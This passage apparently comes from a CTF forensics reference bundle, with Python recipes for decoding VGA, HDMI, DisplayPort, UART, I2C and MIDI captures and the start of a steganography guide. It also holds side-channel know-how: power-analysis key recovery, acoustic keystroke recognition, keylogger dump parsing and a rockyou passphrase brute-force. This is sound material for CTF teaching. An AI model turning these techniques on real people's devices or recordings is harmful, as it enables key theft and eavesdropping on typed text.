(Sthack 2017)](#usb-midi-launchpad-traffic-reconstruction-sthack-2017)\n- [Tektronix Logic-Analyzer CSV Clock-Edge Extraction (35C3 2018)](#tektronix-logic-analyzer-csv-clock-edge-extraction-35c3-2018)\n\n---\n\n## VGA Signal Decoding\n\n**Frame structure:** 800x525 total (640x480 active + blanking). Each sample = 5 bytes: R, G, B, HSync, VSync. Color is 6-bit (0-63).\n\n```python\nimport numpy as np\nfrom PIL import Image\n\ndata = open('vga.bin', 'rb').read()\n\nTOTAL_W, TOTAL_H = 800, 525\nACTIVE_W, ACTIVE_H = 640, 480\nBYTES_PER_SAMPLE = 5 # R, G, B, hsync, vsync\n\n# Parse raw samples\nsamples = np.frombuffer(data, dtype=np.uint8).reshape(-1, BYTES_PER_SAMPLE)\nframe = samples.reshape(TOTAL_H, TOTAL_W, BYTES_PER_SAMPLE)\n\n# Extract active region, scale 6-bit to 8-bit\nactive = frame[:ACTIVE_H, :ACTIVE_W, :3] # RGB only\nimg_arr = (active.astype(np.uint16) * 4).clip(0, 255).astype(np.uint8)\nImage.fromarray(img_arr).save('vga_output.png')\n```\n\n**Key lesson:** Total frame > visible area — always crop blanking. If colors look dark, check if 6-bit (multiply by 4).\n\n---\n\n## HDMI TMDS Decoding\n\n**Structure:** 3 channels (R, G, B), each encoded as 10-bit TMDS (Transition-Minimized Differential Signaling) symbols. Bit 9 = inversion flag, bit 8 = XOR/XNOR mode. Decode is deterministic from MSBs down.\n\n```python\ndef tmds_decode(symbol_10bit):\n \"\"\"Decode a 10-bit TMDS symbol to 8-bit pixel value.\"\"\"\n bits = [(symbol_10bit >> i) & 1 for i in range(10)]\n # bits[9] = inversion flag, bits[8] = XOR/XNOR mode\n\n # Step 1: undo optional inversion (bit 9)\n if bits[9]:\n d = [1 - bits[i] for i in range(8)]\n else:\n d = [bits[i] for i in range(8)]\n\n # Step 2: undo XOR/XNOR chain (bit 8 selects mode)\n q = [d[0]]\n if bits[8]:\n for i in range(1, 8):\n q.append(d[i] ^ q[i-1]) # XOR mode\n else:\n for i in range(1, 8):\n q.append(d[i] ^ q[i-1] ^ 1) # XNOR mode\n\n return sum(q[i] \u003c\u003c i for i in range(8))\n\n# Parse: read 10-bit symbols from binary, group into 3 channels\n# Frame is 800x525 total, crop to 640x480 active\n```\n\n**Identification:** Binary data with 10-bit aligned structure. Challenge mentions HDMI, DVI, or TMDS.\n\n---\n\n## DisplayPort 8b/10b + LFSR Decoding\n\n**Structure:** 10-bit 8b/10b symbols decoded to 8-bit data, then LFSR-descrambled. Organized in 64-column Transport Units (60 data columns + 4 overhead).\n\n```python\n# Standard 8b/10b decode table (partial — full table has 256 entries)\n# Use a prebuilt table: map 10-bit symbol -> 8-bit data\n# Key: running disparity tracks DC balance\n\n# LFSR descrambler (x^16 + x^5 + x^4 + x^3 + 1)\ndef lfsr_descramble(data):\n \"\"\"DisplayPort LFSR descrambler. Resets on control symbols (BS/BE).\"\"\"\n lfsr = 0xFFFF # Initial state\n result = []\n for byte in data:\n out = byte\n for bit_idx in range(8):\n feedback = (lfsr >> 15) & 1\n out ^= (feedback \u003c\u003c bit_idx)\n new_bit = ((lfsr >> 15) ^ (lfsr >> 4) ^ (lfsr >> 3) ^ (lfsr >> 2)) & 1\n lfsr = ((lfsr \u003c\u003c 1) | new_bit) & 0xFFFF\n result.append(out & 0xFF)\n return bytes(result)\n\n# Transport Unit layout: 64 columns per TU\n# Columns 0-59: pixel data (RGB)\n# Columns 60-63: overhead (sync, stuffing)\n# LFSR resets on control bytes (BS=0x1C, BE=0xFB)\n```\n\n**Key lesson:** LFSR scrambler resets on control bytes — identify these to synchronize descrambling. Without reset points, output is garbled.\n\n---\n\n## Voyager Golden Record Audio (0xFun 2026)\n\n**Pattern (11 Lines of Contact):** Analog image encoded as audio. Sync pulses (sharp negative spikes) delimit scan lines. Amplitude between pulses = pixel brightness.\n\n```python\nimport numpy as np\nfrom scipy.io import wavfile\nfrom PIL import Image\n\nrate, audio = wavfile.read('golden_record.wav')\naudio = audio.astype(np.float32)\n\n# Find sync pulses (sharp negative spikes below threshold)\nthreshold = np.min(audio) * 0.7\nsync_indices = np.where(audio \u003c threshold)[0]\n\n# Group consecutive sync samples into pulse starts\npulses = [sync_indices[0]]\nfor i in range(1, len(sync_indices)):\n if sync_indices[i] - sync_indices[i-1] > 100:\n pulses.append(sync_indices[i])\n\n# Extract scan lines between pulses, resample to fixed width\nWIDTH = 512\nlines = []\nfor i in range(len(pulses) - 1):\n line = audio[pulses[i]:pulses[i+1]]\n resampled = np.interp(np.linspace(0, len(line)-1, WIDTH), np.arange(len(line)), line)\n lines.append(resampled)\n\n# Normalize and save as image\nimg_arr = np.array(lines)\nimg_arr = ((img_arr - img_arr.min()) / (img_arr.max() - img_arr.min()) * 255).astype(np.uint8)\nImage.fromarray(img_arr).save('voyager_image.png')\n```\n\n---\n\n## Side-Channel Power Analysis (EHAX 2026)\n\n**Pattern (Power Leak):** Power consumption traces recorded during cryptographic operations. Correct key guesses cause measurably different power consumption at specific sample points.\n\n**Data format:** Typically a multi-dimensional array: `[positions × guesses × traces × samples]`. E.g., 6 digit positions × 10 guesses (0-9) × 20 traces × 50 samples.\n\n**Attack (Differential Power Analysis):**\n```python\nimport numpy as np\nimport hashlib\n\n# Load power traces: shape = (positions, guesses, traces, samples)\ndata = np.load('power_traces.npy') # or parse from CSV/JSON\nn_positions, n_guesses, n_traces, n_samples = data.shape\n\n# For each position, find the guess with maximum power at the leak point\nkey_digits = []\nfor pos in range(n_positions):\n # Average across traces for each guess\n avg_power = data[pos].mean(axis=1) # shape: (guesses, samples)\n\n # Find the sample point with maximum power variance across guesses\n # This is the \"leak point\" where the correct guess stands out\n variance_per_sample = avg_power.var(axis=0)\n leak_sample = np.argmax(variance_per_sample)\n\n # The guess with maximum power at the leak point is correct\n best_guess = np.argmax(avg_power[:, leak_sample])\n key_digits.append(best_guess)\n\nkey = ''.join(str(d) for d in key_digits)\nprint(f\"Recovered key: {key}\")\n\n# Flag may be SHA256 of the key\nflag = hashlib.sha256(key.encode()).hexdigest()\n```\n\n**Identification:** Challenge mentions \"power\", \"side-channel\", \"leakage\", \"traces\", or \"measurements\". Data is a multi-dimensional numeric array with axes for positions/guesses/traces/samples.\n\n**Key insight:** The \"leak point\" is the sample index where correct vs incorrect guesses show the largest power difference. Average across traces first to reduce noise, then find the sample with maximum variance across guesses.\n\n---\n\n## Saleae Logic 2 UART Decode (EHAX 2026)\n\n**Pattern (Baby Serial):** Saleae Logic 2 `.sal` file (ZIP archive) containing digital channel captures. Data encoded as UART serial.\n\n**File structure:** `.sal` is a ZIP containing `digital-0.bin` through `digital-7.bin` + `meta.json`. Only channel 0 typically has data.\n\n**Binary format (digital-*.bin):**\n```text\n\u003cSALEAE> magic (8 bytes)\nversion: u32 = 2\ntype: u32 = 100 (digital)\ninitial_state: u32 (0 or 1)\n... header fields ...\nDelta-encoded transitions (variable-length integers)\n```\n\n**Delta encoding:** Each value represents the number of samples between state transitions. The signal alternates between HIGH and LOW at each delta.\n\n**UART decode from deltas:**\n```python\nimport numpy as np\n\n# Parse deltas from binary (after header)\n# Reconstruct signal timeline\ntimes = np.cumsum(deltas)\nstates = []\nstate = initial_state\nfor d in deltas:\n states.append(state)\n state ^= 1 # toggle on each transition\n\n# UART decode: detect start bit (HIGH→LOW), sample 8 data bits at bit centers\n# Baud rate detection: most common delta ≈ samples_per_bit\n# At 1MHz sample rate: 115200 baud ≈ 8.7 samples/bit\n\ndef uart_decode(transitions, sample_rate=1_000_000, baud=115200):\n bit_period = sample_rate / baud\n bytes_out = []\n i = 0\n while i \u003c len(transitions):\n # Find start bit (falling edge)\n if transitions[i] == 0: # LOW = start bit\n byte_val = 0\n for bit in range(8):\n sample_time = (1.5 + bit) * bit_period # center of each bit\n # Sample signal at this offset from start bit\n bit_val = get_signal_at(sample_time)\n byte_val |= (bit_val \u003c\u003c bit) # LSB first\n bytes_out.append(byte_val)\n i += 1\n return bytes(bytes_out)\n```\n\n**Common pitfalls:**\n- **Inverted polarity:** UART idle is HIGH (mark). If initial_state=1, the encoding may be inverted — try both\n- **Baud rate guessing:** Check common rates: 9600, 19200, 38400, 57600, 115200, 230400\n- **Output format:** Decoded bytes may be base64-encoded (containing a PNG image or text)\n- **Saleae internal format ≠ export format:** The `.sal` internal binary uses a different encoding than CSV/binary export. Parse the raw delta transitions directly\n\n**Quick approach:** Install Saleae Logic 2, open the `.sal` file, add UART analyzer with auto-baud detection, export decoded data.\n\n---\n\n## Flipper Zero .sub File (0xFun 2026)\n\nRAW_Data binary -> filter noise bytes (0x80-0xFF) -> expand batch variable references -> XOR with hint text.\n\n**Key insight:** Flipper Zero `.sub` files contain raw RF signal data. The RAW_Data field encodes binary as pulse timings. Filter out noise bytes (0x80-0xFF), expand any batch variable references, and XOR with hint text from the challenge to recover the flag.\n\n---\n\n## Keyboard Acoustic Side-Channel (ApoorvCTF 2026)\n\n**Pattern (Author on the Run):** Recover typed text from audio recordings of keystrokes. Reference audio provides labeled samples (known keys), flag audio contains unknown keystrokes to classify.\n\n**Step 1 — Detect keystrokes via energy peaks:**\n```python\nimport numpy as np\nfrom scipy.signal import find_peaks\nfrom scipy.io import wavfile\n\nsr, audio = wavfile.read('flag.wav')\nif audio.ndim > 1:\n audio = audio.mean(axis=1)\n\n# Sliding window energy envelope (10ms window)\nwin = int(0.01 * sr)\nenergy = np.array([np.sum(audio[i:i+win]**2) for i in range(0, len(audio) - win, win)])\n\n# Find peaks with minimum 175ms separation\nmin_dist = int(0.175 * sr / win)\npeaks, _ = find_peaks(energy, height=0.03 * energy.max(), distance=min_dist)\n```\n\n**Step 2 — Extract MFCC features per keystroke:**\n```python\nimport librosa\n\ndef extract_features(audio, sr, peak_sample, window_ms=10):\n win = int(window_ms / 1000 * sr)\n start = max(0, peak_sample - win // 2)\n segment = audio[start:start + win]\n mfccs = librosa.feature.mfcc(y=segment.astype(float), sr=sr, n_mfcc=20)\n return np.concatenate([mfccs.mean(axis=1), mfccs.std(axis=1)]) # 40-dim\n```\n\n**Step 3 — Classify with KNN against labeled reference:**\n```python\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# Build reference from labeled audio (26 keys × 50 presses each)\nX_ref, y_ref = [], []\nfor key_idx, key in enumerate('abcdefghijklmnopqrstuvwxyz'):\n for peak in reference_peaks[key_idx * 50:(key_idx + 1) * 50]:\n X_ref.append(extract_features(ref_audio, sr, peak))\n y_ref.append(key)\n\nknn = KNeighborsClassifier(n_neighbors=5)\nknn.fit(X_ref, y_ref)\n\n# Classify flag keystrokes\nflag = ''.join(knn.predict([extract_features(flag_audio, sr, p) for p in flag_peaks]))\n```\n\n**Key insight:** Window size is critical — 10ms captures the initial impact transient which is most distinctive per key. Larger windows (20-30ms) include key release noise that reduces classification accuracy. Use all individual reference samples rather than averaging, as KNN handles variance better with more data points.\n\n**Detection:** Two audio files provided (reference + target), or challenge mentions \"typing\", \"keyboard\", \"acoustic\".\n\n---\n\n## CD Audio Disc Image Steganography (BSidesSF 2026)\n\n**Pattern (cdimage):** Visual images encoded as pit/land patterns on a CD surface. A `.cdda` file (raw CD Digital Audio) contains only two byte values (e.g., `0x0d` and `0xa8`) representing reflective lands and non-reflective pits. When rendered as a spiral on a disc image, the binary pattern forms readable text or images — similar to LightScribe but using the data layer.\n\n**Key components:**\n1. **CIRC de-interleaving** — CD audio data is Cross-Interleaved for error correction. The encoding tool (e.g., [arduinocelentano/cdimage](https://github.com/arduinocelentano/cdimage)) pre-interleaves data to compensate. To decode, reverse the CIRC interleaving before rendering.\n2. **Spiral geometry** — bytes per track increases linearly: `tr(n) = tr0 + n * dtr`, physical radius `r(n) = r0 + n * dr`. Default params: `tr0=22951.52`, `dtr=1.387`, `r0=24.5mm`.\n3. **Polar-to-Cartesian rendering** — accumulate byte values into a polar grid `(radius_pixel, angle_bin)`, then convert to a circular disc image.\n\n**De-interleaving (CIRC reverse):**\n\n```python\nimport numpy as np\n\ndef deinterleave_cdda(data):\n \"\"\"Reverse CIRC pre-interleaving from cdimage tool.\"\"\"\n D = 4\n delays = [\n -24*(3), -24*(1*D+2)+1, 8-24*(2*D+3), 8-24*(3*D+2)+1,\n 16-24*(4*D+3), 16-24*(5*D+2)+1, 2-24*(6*D+3), 2-24*(7*D+2)+1,\n 10-24*(8*D+3), 10-24*(9*D+2)+1, 18-24*(10*D+3), 18-24*(11*D+2)+1,\n 4-24*(16*D+1), 4-24*(17*D)+1, 12-24*(18*D+1), 12-24*(19*D)+1,\n 20-24*(20*D+1), 20-24*(21*D)+1, 6-24*(22*D+1), 6-24*(23*D)+1,\n 14-24*(24*D+1), 14-24*(25*D)+1, 22-24*(26*D+1), 22-24*(27*D)+1\n ]\n # Build per-output-index offset: output[g*24+i] came from input[g*24+i + offset[i]]\n offsets = [0] * 24\n for pinf in range(24):\n i = delays[pinf] % 24\n if i \u003c 0:\n i += 24\n dg = (i - delays[pinf]) // 24\n offsets[i] = -(111 - dg) * 24 + (pinf - i)\n\n total = len(data)\n result = np.zeros(total, dtype=np.uint8)\n for i in range(24):\n out_pos = np.arange(i, total, 24, dtype=np.int64)\n in_pos = out_pos + offsets[i]\n valid = (in_pos >= 0) & (in_pos \u003c total)\n result[in_pos[valid]] = data[out_pos[valid]]\n return result\n```\n\n**Rendering de-interleaved data to disc image:**\n\n```python\nfrom PIL import Image\n\ndef render_cdda_disc(data, img_size=1024, tr0=22951.52052, dtr=1.3865961805,\n r0=24.5, rcd=57.5, scale=0.115, n_angle_bins=8192,\n bright_byte=0x0d):\n \"\"\"Render de-interleaved CDDA data as a circular disc image.\"\"\"\n center = img_size // 2\n dr = dtr * r0 / tr0\n polar_sum = np.zeros((img_size, n_angle_bins), dtype=np.float64)\n polar_count = np.zeros((img_size, n_angle_bins), dtype=np.float64)\n\n tr, r, pos, c_float = tr0, r0, 0, 0.0\n total = len(data)\n while c_float \u003c (800 * 1024 * 1024 - tr) and pos \u003c total:\n itr = int(tr)\n r_px = int(r / scale)\n if 0 \u003c= r_px \u003c img_size:\n end = min(pos + itr, total)\n chunk = data[pos:end]\n n_tb = len(chunk)\n if n_tb > 0:\n angles = (np.arange(n_tb, dtype=np.int64) * n_angle_bins // n_tb) % n_angle_bins\n is_bright = (chunk == bright_byte).astype(np.float64)\n np.add.at(polar_sum[r_px], angles, is_bright)\n np.add.at(polar_count[r_px], angles, 1.0)\n c_float += tr\n ic = pos + itr\n while int(c_float) > ic:\n ic += 1\n pos = ic\n tr += dtr\n r += dr\n\n density = np.where(polar_count > 0, polar_sum / polar_count, 0)\n ys, xs = np.mgrid[0:img_size, 0:img_size]\n dx, dy = (xs - center).astype(float), (ys - center).astype(float)\n r_arr = np.sqrt(dx * dx + dy * dy).astype(int)\n theta = np.arctan2(-dy, dx)\n theta[theta \u003c 0] += 2 * np.pi\n a_idx = (theta / (2 * np.pi) * n_angle_bins).astype(int) % n_angle_bins\n output = density[np.clip(r_arr, 0, img_size - 1), a_idx]\n output[(r_arr \u003c int(r0 / scale)) | (r_arr > int(rcd / scale))] = 0\n return Image.fromarray((output * 255).astype(np.uint8))\n\n# Full pipeline\ndata = np.fromfile('flag.cdda', dtype=np.uint8)\ndeinterleaved = deinterleave_cdda(data)\nimg = render_cdda_disc(deinterleaved)\nimg.save('disc_output.png')\n```\n\n**Key insight:** Without CIRC de-interleaving, the radial structure (bright/dark rings) is visible but angular detail (text) is completely scrambled. The interleaving spreads each byte across ~108 groups (~2592 bytes), which at typical track lengths (~30K-50K bytes/revolution) shifts angular positions by up to 30 degrees — enough to destroy any readable pattern. The calibration image confirms correct decoding by showing known text.\n\n**Calibration workflow:** The challenge provides `calibrate_img.cdda` with a known output (`calibrate_img.png` showing \"Calibrate: 0123456789abc...\"). Use this pair to verify geometry parameters (tr0, dtr, r0, scale) before decoding the flag file.\n\n**Detection:** Challenge mentions \"album\", \"CD rip\", \"CDDA\", or provides large (~800MB) files with only 2 unique byte values. The `file` command reports \"ISO-8859 text with CR line terminators\" because `0x0d` (CR) is one of the two values.\n\n---\n\n## Caps-Lock LED Morse Code Extraction from Video (STEM CTF 2018)\n\n**Pattern:** Extract Morse code from a security camera video by tracking the caps-lock LED pixel on a keyboard using OpenCV frame-by-frame analysis.\n\n```python\nimport cv2\n\nvidcap = cv2.VideoCapture('SecurityCamera.mp4')\nmorse = []\nwhile vidcap.isOpened():\n ret, frame = vidcap.read()\n if not ret: break\n r, g, b = frame[58, 686] # caps-lock LED pixel coordinate\n is_on = r > 200 and g > 200 and b > 200\n morse.append(is_on)\n\n# Convert on/off durations to dots, dashes, and spaces\n# Short on = dot, long on = dash, medium off = letter space, long off = word space\ndurations = []\ncurrent = morse[0]\ncount = 0\nfor state in morse:\n if state == current:\n count += 1\n else:\n durations.append((current, count))\n current = state\n count = 1\ndurations.append((current, count))\n\n# Calibrate thresholds from observed durations\n# Typical: dot=2-4 frames, dash=6-10 frames, letter gap=4-6 frames, word gap=10+ frames\nMORSE_MAP = {\n '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',\n '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J',\n '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O',\n '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',\n '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y',\n '--..': 'Z', '.----': '1', '..---': '2', '...--': '3',\n '....-': '4', '.....': '5', '-....': '6', '--...': '7',\n '---..': '8', '----.': '9', '-----': '0',\n}\n```\n\n**Key insight:** Keyboard LEDs (caps lock, num lock, scroll lock) can be programmatically controlled and are visible in security camera footage. Track a specific pixel coordinate across video frames; on/off durations encode Morse code (short=dot, long=dash).\n\n**Detection:** Video of a keyboard where an LED blinks irregularly. Challenge mentions \"security camera\", \"keyboard\", \"blinking\", or \"Morse\".\n\n---\n\n## Linux input_event Keylogger Dump Parsing (Pwn2Win 2016)\n\nRaw binary dump with 24-byte repeating structure matching Linux's `struct input_event` (`struct timeval` + `__u16 type` + `__u16 code` + `__s32 value`). Filter for `type == EV_KEY (1)` and `value == 1` (key press), map keycodes via Linux kernel's `input-event-codes.h`.\n\n```python\nimport struct\nwith open('dump.bin', 'rb') as f:\n while data := f.read(24):\n tv_sec, tv_usec, type_, code, value = struct.unpack('\u003cQQHHi', data)\n if type_ == 1 and value == 1: # EV_KEY, key press\n print(f\"Key code: {code}\") # Map via input-event-codes.h\n```\n\n**Key insight:** `/dev/input/event*` captures have a fixed 24-byte `struct input_event` format. Filter EV_KEY type with value=1 for key presses. Map codes using Linux kernel header `input-event-codes.h`.\n\n**Detection:** Binary file size divisible by 24. Challenge mentions keylogger, keyboard, or input device.\n\n---\n\n## I2C Bus Protocol Decoding (EKOPARTY CTF 2016)\n\nLogic analyzer captures of I2C (Inter-Integrated Circuit) bus communications. Decode SDA (data) and SCL (clock) signals to extract transmitted bytes.\n\n```python\ndef decode_i2c(sda_signal, scl_signal):\n \"\"\"Decode I2C protocol from logic analyzer capture\n Channel 0 = SDA (data), Channel 1 = SCL (clock)\n\n I2C framing:\n - START: SDA falls while SCL is high\n - STOP: SDA rises while SCL is high\n - Data: SDA sampled on SCL rising edge\n - ACK: 9th bit (low = ACK, high = NACK)\n \"\"\"\n bytes_out = []\n current_byte = 0\n bit_count = 0\n in_frame = False\n\n for i in range(len(scl_signal) - 1):\n # Detect START condition\n if sda_signal[i] == 1 and sda_signal[i+1] == 0 and scl_signal[i] == 1:\n in_frame = True\n bit_count = 0\n current_byte = 0\n continue\n\n # Detect STOP condition\n if sda_signal[i] == 0 and sda_signal[i+1] == 1 and scl_signal[i] == 1:\n in_frame = False\n continue\n\n # Sample data on SCL rising edge\n if in_frame and scl_signal[i] == 0 and scl_signal[i+1] == 1:\n if bit_count \u003c 8:\n current_byte = (current_byte \u003c\u003c 1) | sda_signal[i+1]\n bit_count += 1\n elif bit_count == 8:\n bytes_out.append(current_byte)\n bit_count = 0\n current_byte = 0\n\n return bytes_out\n\n# Tools: Saleae Logic 2, sigrok/PulseView, OLS (Open Logic Sniffer)\n# Import: File > Open Logic Sniffer capture\n# Decode: Analyzers > I2C > Set SDA/SCL channels\n```\n\n**Key insight:** I2C uses only 2 wires (SDA + SCL). START/STOP conditions occur when SDA changes while SCL is high. Data bits are sampled on SCL rising edges. Every 9th bit is an ACK. Use logic analyzer software (Saleae, sigrok) for automated decoding.\n\n---\n\n## IBM-29 Punched Card OCR (EKOPARTY CTF 2016)\n\nDecode IBM-29 keypunch card images by detecting hole positions in a standard 80-column x 12-row grid.\n\n```python\nfrom PIL import Image\n\n# IBM-29 character encoding: column punch pattern -> character\nIBM_029_MAP = {\n (12,): 'A', (12,1): 'A', (12,2): 'B', (12,3): 'C', # etc.\n (11,): '-', (11,1): 'J', (11,2): 'K', # etc.\n (0,): '0', (1,): '1', (2,): '2', # zone 0 + digit\n # Full mapping: http://www.columbia.edu/cu/computinghistory/029.html\n}\n\ndef decode_punched_card(image_path, cols=80, rows=12,\n x_spacing=7, y_spacing=20, x_offset=10, y_offset=10):\n \"\"\"Detect punches in card image and decode to text\"\"\"\n img = Image.open(image_path).convert('L')\n text = \"\"\n\n for col in range(cols):\n punches = []\n for row in range(rows):\n x = x_offset + col * x_spacing\n y = y_offset + row * y_spacing\n pixel = img.getpixel((x, y))\n if pixel > 200: # white = punched hole\n punches.append(row)\n\n if punches:\n key = tuple(punches)\n text += IBM_029_MAP.get(key, '?')\n else:\n text += ' '\n\n return text\n\n# Process multiple card images\nfor i in range(14):\n card_text = decode_punched_card(f'card_{i:02d}.png')\n print(f\"Card {i}: {card_text}\")\n```\n\n**Key insight:** IBM punched cards use a 12-row x 80-column grid. Each character is encoded by 1-3 holes in a column. The grid spacing varies by card reader/scanner resolution -- calibrate by measuring the distance between known reference holes. White/light pixels indicate punched holes.\n\n---\n\n## Serial UART Data Decoding from WAV Audio (EasyCTF 2017)\n\nAudio files can contain serial (UART) data encoded as square wave signals. Decode by sampling amplitude levels and parsing bit timing.\n\n```python\nimport struct\n\nwith open('signal.wav', 'rb') as f:\n f.read(44) # skip WAV header\n samples = []\n while True:\n data = f.read(2)\n if not data: break\n samples.append(struct.unpack('\u003ch', data)[0])\n\n# Parameters: 9600 baud, 1 start bit, 8 data bits, no parity, 2 stop bits\nSAMPLES_PER_BIT = len(samples) // expected_bits # ~40 for 9600 baud @ 384kHz\nTHRESHOLD = 0 # above = 1, below = 0\n\n# Convert samples to bits\nbits = [1 if s > THRESHOLD else 0 for s in samples]\n\n# Find frames: start bit (0) + 8 data bits + stop bits (1,1)\noutput = []\ni = 0\nwhile i \u003c len(bits) - 11:\n if bits[i] == 0: # start bit\n byte_bits = bits[i+1:i+9] # LSB first\n byte_val = sum(b \u003c\u003c j for j, b in enumerate(byte_bits))\n output.append(byte_val)\n i += 11 # skip start + 8 data + 2 stop\n else:\n i += 1\n\nprint(bytes(output))\n```\n\n**Key insight:** UART serial data in audio appears as a square wave with well-defined bit timing. Key parameters to determine: baud rate (samples per bit), frame format (start/stop bits, parity), and bit endianness (UART is LSB-first). The start bit (low) provides synchronization for each byte frame.\n\n**Detection:** WAV file with a clean square wave pattern visible in Audacity. Two distinct amplitude levels with regular timing. Challenge mentions \"serial\", \"UART\", \"baud\", or \"RS-232\".\n\n---\n\n## USB MIDI Launchpad Traffic Reconstruction (Sthack 2017)\n\nUSB traffic from MIDI controller devices (e.g., Novation Launchpad) encodes button presses as MIDI Note On/Off messages that can be reconstructed into visual patterns.\n\n```python\nfrom scapy.all import rdpcap\n\npkts = rdpcap('capture.pcapng')\n# Filter USB bulk transfer packets for MIDI data\n# Launchpad MIDI: 0x90 = Note On, 0x80 = Note Off\n# Format: [status, key, velocity]\n# Key encodes (row, col): key = row*16 + col\n\ncharacters = []\ncurrent_grid = [[0]*8 for _ in range(8)]\n\nfor pkt in pkts:\n data = bytes(pkt)\n # Find MIDI messages in USB payload\n if len(data) >= 4:\n status = data[-3]\n key = data[-2]\n velocity = data[-1]\n\n if status == 0x90 and velocity > 0: # Note On\n row, col = key // 16, key % 16\n if 0 \u003c= row \u003c 8 and 0 \u003c= col \u003c 8:\n current_grid[row][col] = 1\n elif status == 0x80 or (status == 0x90 and velocity == 0): # Note Off\n # All-off sequence = character separator\n if all(current_grid[r][c] == 0 for r in range(8) for c in range(8)):\n characters.append(current_grid)\n current_grid = [[0]*8 for _ in range(8)]\n```\n\n**Key insight:** MIDI devices use standardized message formats. Novation Launchpad maps its 8x8 grid to MIDI notes where `key = row*16 + col`. Note On (0x90) with velocity > 0 = button lit, Note Off (0x80) = button off. Sequences of all-off messages separate characters displayed on the grid.\n\n**Detection:** USB PCAP with bulk transfer packets containing 3-byte or 4-byte payloads. USB device descriptor shows MIDI class (Audio class, subclass MIDI Streaming). Challenge mentions \"MIDI\", \"Launchpad\", \"music controller\", or \"grid\".\n\n---\n\n## Tektronix Logic-Analyzer CSV Clock-Edge Extraction (35C3 2018)\n\n**Pattern:** Tektronix logic analyzers export multi-channel captures as ~10-MB CSV files with one column per signal (CLK, R, G, B, ...). Parse the file with Python, detect rising edges on the CLK column, and sample the data columns at each edge to reconstruct the transmitted image/stream.\n\n```python\nimport csv\nwith open('capture.csv') as f:\n reader = csv.reader(f)\n prev_clk = 0\n bits = []\n for row in reader:\n try: clk = int(row[1])\n except ValueError: continue\n if prev_clk == 0 and clk == 1: # rising edge\n bits.append((int(row[2]), int(row[3]), int(row[4])))\n prev_clk = clk\n# Reshape bits into image and render with PIL\n```\n\n**Key insight:** Logic-analyzer CSV is always edge-sampled. Identify the clock column by its 50%-duty cycle, then sample the data columns synchronously at every rising edge. Works for any synchronous bus (RGB, SPI, I²C clock line).\n\n**References:** 35C3 CTF 2018 — box of blink, writeup 12907\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":29146,"content_sha256":"3bb2bcf6346a5bd2ad0d2bce67d22668f8d402f966a25be2016edcb915becd64"},{"filename":"steganography.md","content":"# CTF Forensics - Steganography\n\nNon-image steganography techniques (PDF, SVG, terminal, text, compression, spreadsheet) and general-purpose image stego patterns (PNG structure, file overlays, GIF, autostereograms, interleaving). For image-specific steganography (JPEG DQT/F5/slack, BMP bitplane, PNG palette, pixel permutation, edge matching), see [stego-image.md](stego-image.md). For advanced techniques (FFT, SSTV, audio, video, JPEG XL), see [stego-advanced.md](stego-advanced.md) and [stego-advanced-2.md](stego-advanced-2.md).\n\n## Table of Contents\n- [Quick Tools](#quick-tools)\n- [Binary Border Steganography](#binary-border-steganography)\n- [Multi-Layer PDF Steganography (Pragyan 2026)](#multi-layer-pdf-steganography-pragyan-2026)\n- [Advanced PDF Steganography (Nullcon 2026 rdctd series)](#advanced-pdf-steganography-nullcon-2026-rdctd-series)\n- [SVG Animation Keyframe Steganography (UTCTF 2024)](#svg-animation-keyframe-steganography-utctf-2024)\n- [PNG Chunk Reordering (0xFun 2026)](#png-chunk-reordering-0xfun-2026)\n- [File Format Overlays (0xFun 2026)](#file-format-overlays-0xfun-2026)\n- [Nested PNG with Iterating XOR Keys (VuwCTF 2025)](#nested-png-with-iterating-xor-keys-vuwctf-2025)\n- [GIF Frame Differential + Morse Code (BaltCTF 2013)](#gif-frame-differential--morse-code-baltctf-2013)\n- [GZSteg + Spammimic Text Steganography (VolgaCTF 2013)](#gzsteg--spammimic-text-steganography-volgactf-2013)\n- [Spreadsheet Frequency Analysis Binary Recovery (Sharif CTF 2016)](#spreadsheet-frequency-analysis-binary-recovery-sharif-ctf-2016)\n- [Kitty Terminal Graphics Protocol Decoding (BSidesSF 2026)](#kitty-terminal-graphics-protocol-decoding-bsidessf-2026)\n- [ANSI Escape Sequence Steganography in Terminal Art (BSidesSF 2026)](#ansi-escape-sequence-steganography-in-terminal-art-bsidessf-2026)\n- [Autostereogram / Magic Eye Solving (BSidesSF 2026)](#autostereogram--magic-eye-solving-bsidessf-2026)\n- [Two-Layer Byte+Line Interleaving (BSidesSF 2026)](#two-layer-byteline-interleaving-bsidessf-2026)\n- [Progressive PNG Layered XOR Decryption (OpenCTF 2016)](#progressive-png-layered-xor-decryption-openctf-2016)\n- [Multi-Stream Video Container Steganography (BSidesSF 2026)](#multi-stream-video-container-steganography-bsidessf-2026)\n- [APNG (Animated PNG) Frame Extraction (IceCTF 2016)](#apng-animated-png-frame-extraction-icectf-2016)\n- [PNG Height/CRC Manipulation for Hidden Content (H4ckIT CTF 2016)](#png-heightcrc-manipulation-for-hidden-content-h4ckit-ctf-2016)\n- [QR Code Reconstruction from Curved Glass Reflection in Video (PlaidCTF 2018)](#qr-code-reconstruction-from-curved-glass-reflection-in-video-plaidctf-2018)\n- [GIF Palette Manipulation for QR Code Reconstruction (3DSCTF 2017)](#gif-palette-manipulation-for-qr-code-reconstruction-3dsctf-2017)\n- [Angecryption: AES-CBC Encrypting One Valid File into Another (34C3 CTF 2017)](#angecryption-aes-cbc-encrypting-one-valid-file-into-another-34c3-ctf-2017)\n- [SVG Micro-Coordinate Steganography (SharifCTF 8)](#svg-micro-coordinate-steganography-sharifctf-8)\n\n---\n\n## Quick Tools\n\n```bash\nsteghide extract -sf image.jpg\nzsteg image.png # PNG/BMP analysis\nstegsolve # Visual analysis\n\n# Steghide brute-force (0xFun 2026)\nstegseek image.jpg rockyou.txt # Faster than stegcracker\n# Common weak passphrases: \"simple\", \"password\", \"123456\"\n```\n\n---\n\n## Binary Border Steganography\n\n**Pattern (Framer, PascalCTF 2026):** Message encoded as black/white pixels in 1-pixel border around image.\n\n```python\nfrom PIL import Image\n\nimg = Image.open('output.jpg')\nw, h = img.size\nbits = []\n\n# Read border clockwise: top → right → bottom 